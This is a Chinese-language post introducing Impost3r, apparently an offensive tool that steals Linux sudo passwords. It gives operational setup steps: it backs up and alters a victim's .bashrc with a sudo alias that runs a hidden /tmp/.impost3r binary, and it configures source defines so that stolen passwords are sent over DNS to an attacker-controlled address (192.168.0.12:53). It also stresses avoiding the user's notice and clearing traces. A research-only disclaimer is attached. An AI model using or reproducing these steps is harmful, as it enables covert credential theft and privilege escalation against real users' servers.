最近在做渗透的过程中,遇到了一些阻碍,在无法获得一些可用的密码以及root权限的情况下进程陷入了僵局,但是在查看history的过程当中发现所掌握的用户经常会登陆这台服务器并使用sudo命令开启一些服务或者其他的操作,故而想着弄个小脚本来尝试偷一下这个用户的sudo密码,但是找了一圈发现大多可用的脚本都比较老旧,要么是逻辑处理上有问题,要么就是考虑情况不是很全面,容易被用户发现异常,亦或者是操作痕迹无法自动清除,还需要登陆后手工清除,不是很安全。故而就花了一点时间写了一个简单的C程序,用来窃取sudo密码并自动清除痕迹,且最大程度上让被攻击用户无法察觉异常。
废话不多说,给各位大师傅们递上~一杯卡布奇诺~README (笑)
Impost3r是一个利用C语言编写,用来窃取linux下sudo密码的工具
用户可使用此程序在普通用户权限下,制造水坑,窃取合法用户的sudo密码
此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!
首先假设攻击者控制了一台服务器,权限为普通用户权限
拷贝一份用户的.bashrccp ~/.bashrc /tmp/
,并将这份副本放在攻击者自定义的路径下(本例中放置在/tmp/目录下,攻击者可以修改)
修改用户根目录下的.bashrc(~/.bashrc),在最后一行添加如下语句:
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
添加完成后,保存文件并执行source ~/.bashrc
接着攻击者需要对Impost3r源代码进行修改:
# define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数
# define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔
# define FILENAME "/tmp/.impost3r" \\设置Impost3r在目标服务器上的位置
# define BACKUP_BASHRC "/tmp/.bashrc" \\设置攻击者备份的源.bashrc在目标服务器上的位置
# define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址
# define REMOTE_PORT 53 \\设置回送密码的远程端口
修改完成后,保存并在当前目录执行make
在当前目录下得到编译完成的.impost3r
文件
上传.impost3r
文件至目标服务器的/tmp/
文件夹下(仅为示例,可自行修改,只需与源代码中定义相同即可)
攻击者在自己的服务器上启动dns服务端程序,等待合法用户使用sudo
后获取密码。
gcc -o dns main.c util.c
编译,当然,也可以用别的dns服务端程序,这里并不受限,但是必须是会回复dns response的服务端程序,而不是仅解析dns request。